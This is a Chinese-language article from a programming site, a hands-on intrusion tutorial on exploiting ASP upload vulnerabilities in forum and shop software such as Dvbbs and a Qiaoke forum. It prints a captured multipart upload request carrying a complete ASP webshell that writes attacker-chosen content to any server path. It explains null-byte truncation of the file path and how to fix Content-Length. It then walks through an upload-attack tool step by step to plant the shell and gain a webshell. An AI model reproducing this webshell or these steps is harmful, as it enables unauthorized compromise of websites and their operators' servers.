程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> ASP編程 >> 關於ASP編程 >> 實例分析ASP上傳漏洞入侵實戰及擴展

實例分析ASP上傳漏洞入侵實戰及擴展

編輯:關於ASP編程
【上傳漏洞欺騙技術】

  網絡上許多程序都有著上傳漏洞,比如任我飛揚整站程序、動感購物商城、秋葉商城、惠信新聞系統等。本文主要講解上傳漏洞的入侵實戰以及一些擴展利用。首先我們要獲得客戶端和服務器之間傳遞的數據,事先准備好一個ASP木馬准備上傳,當然不可能成功,我們要的就是這中間我們向服務器提交的數據。一般用WsockExpert來獲得數據,由於數據太多只能把關鍵部分發出來如下:

  POST /bbs/upfile.asp HTTP/1.1

  ……. 省略了N多沒用信息

Content-Length: 1792
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQTDTATD=NLDNNHPDJEEHOFNFBAGPOJKN
-----------------------------7d52191850242
Content-Disposition: form-data; name="filepath"

uploadFace
-----------------------------7d52191850242
Content-Disposition: form-data; name="act"

upload
-----------------------------7d52191850242
Content-Disposition: form-data; name="file1"; filename="E:\木馬\asp\shell.asp"
Content-Type: text/plain

<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red><h2>成功!</h2><font>" %>
<% else %>
<% response.write "<font color=red><h1>失敗!</h1></font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='''' method=post>" %>
<% Response.write "保存留言<font color=red>如D:\web\x.asp</font>" %>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
<% Response.write "地址來自" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "<br>" %>
<% Response.write "你的留言:" %>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
<% Response.write "<input type=submit value=sky!!>" %>
<% Response.write "</form>" %>

-----------------------------7d52191850242
Content-Disposition: form-data; name="fname"

E:\木馬\asp\shell.asp
-----------------------------7d52191850242
Content-Disposition: form-data; name="Submit"

上傳
-----------------------------7d52191850242--

  傳遞的信息我們獲取了,下面就來修改下達到欺騙目的。主要修改一下幾點:

  1.Content-Disposition: form-data; name="file1"; filename="E:\木馬\asp\shell.asp"

  2.Content-Disposition: form-data; name="fname"

  E:\木馬\asp\shell.asp

  3.最重要的地方是Content-Disposition: form-data; name="filepath"下面的值要修改下。我們修改成uploadFace\shell.asp後面怎麼加一個空字符呢?用UltraEdit是個好方法,用16進制編輯,(因為''\0''這個字符也占一個位置,所以我們先打入一空格,然後再在UltraEdit(用Ctrl+H轉換到16進制模式下)裡將就空格符的20改成00)。

  4.還有一個地方也要修改,就是這句Content-Length: 1792表示提交數據的字符個數。

  如果你修改了filepath的值那麼這個長度1792也要變換,一個字母或者數字的長度就是1,不要忘記最後面那個空格那個也算1。

  【上傳漏洞實戰】 


  我們就先用漏洞的鼻祖動網論壇來實戰下。從原理可以看到上傳的時侯還要修改數據,還要截包,所以網上出現了許多的工具。現在我們直接用老兵的上傳工具來把復雜的步驟變簡單,只要修改幾個數據就可以。我們來看下這個工具的界面,如下圖1:



圖1 老兵上傳工具界面

  我們來說下工具的用法:

  Action中輸入存在上傳漏洞文件的URL: http://target.net/bbs/UpFile.asp;UpPath裡第一個文本框中的FilePath即為表單中的FilePath,也就是上傳路徑,等號後面填的是上傳到對方服務器上的後門的名稱/shell.asp;輸入一個WEB程序允許上傳的類型文本框中默認JPG就可以了(一般網站都允許上傳JPG圖片文件);File裡第一個文本框中的File1即是表單中的File1,等號後面填寫所要在本機上傳的木馬路徑;Cookies中填上我們用抓取數據包工具如WsockExpert抓取的Cookies值,記住最好是你在系統中注冊後的Cookies值。

  這裡以我們入侵動網論壇為例,這裡Action:填入http://www.***.com/bbs/upfile.asp;UpPath第一個文本框填入:filepath;第二個填入:/shell.asp(你也可以寫/bbs/shell.asp這樣上傳成功後就傳到/bbs 目錄下了!)輸入一個WEB程序允許上傳的類型文本框中默認JPG就好了;File第一個文本框輸入:file1;第二個填入:E:\木馬\asp\shell.asp (這個ASP木馬是在自己機器上的路徑,點後面的文件打開圖標浏覽找到ASP木馬即可。)

  Cookies:這裡不用抓包了,因為這裡的上傳根本不檢測Cookie的哦。沒有它會報錯的如果都填寫好了直接按“Submit”按鍵提交!



圖2上傳成功提示

  當點擊Submit按鈕後,最好用浏覽器自己訪問下,程序也會有誤報的。我們用浏覽器來訪問下。



圖3可以看到已經上傳成功了

  下一步就是寫入一個功能強大的木馬來操作了,不再深入。

  【上傳漏洞實戰擴展】 


  並不僅僅只有動網有上傳漏洞,在網絡上許許多多的程序都有這個漏洞,上傳漏洞的原理一樣,掌握之後即可自由發揮,具體視程序代碼而定。下面我們以喬客論壇為例為大家擴展一下上傳漏洞的應用。
首先注冊一個正常用戶並且登錄,然後找到上傳頁面地址:http://192.168.1.3/3/upload.asp?uppath=forum&upname=&uptext=jk_word查看源碼如下:
--------------------------------------------------------------------------------

<FORM name=form1 action=?action=upfile method=post encType=multipart/form-data>
<INPUT type=hidden value=forum name=up_path>
<INPUT type=hidden value=200593075710 name=up_name>
<INPUT type=hidden value=jk_word name=up_text> 
<INPUT type=file size=40 name=file_name1>
<INPUT type=submit value=點擊上傳 name=submit>

--------------------------------------------------------------------------------

  看到源代碼後,就應該知道老兵上傳工具裡邊我們該怎麼填寫了。
Action中輸入:http://192.168.1.3/3/upload.asp?action=upfile UpPath第一個文本框中輸入:up_name;第二個中輸入上傳後的SHELL名稱shell.asp;File 第一個文本框中輸入file_name1,第二個是本機的木馬文件。COOKIES這裡填寫抓包得到的COOKIES值,注意一定要填寫用WsockExpert抓取的Cookies信息,其主要功能是用來驗證!如圖:



圖4設置如圖

  都設置好後點擊Submit按鈕,看到上傳成功了,打開浏覽器訪問一下看是否成功,如圖



圖5上傳成功

  至此已經成功的拿到webshell,就是這麼簡單,重要的是我們的思路要靈活,也要善於發現一個系統是否存在上傳漏洞。當然至於拿到webshell後你能做什麼,就看服務器的安全配置以及你的個人水平了哦,這裡不做討論。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved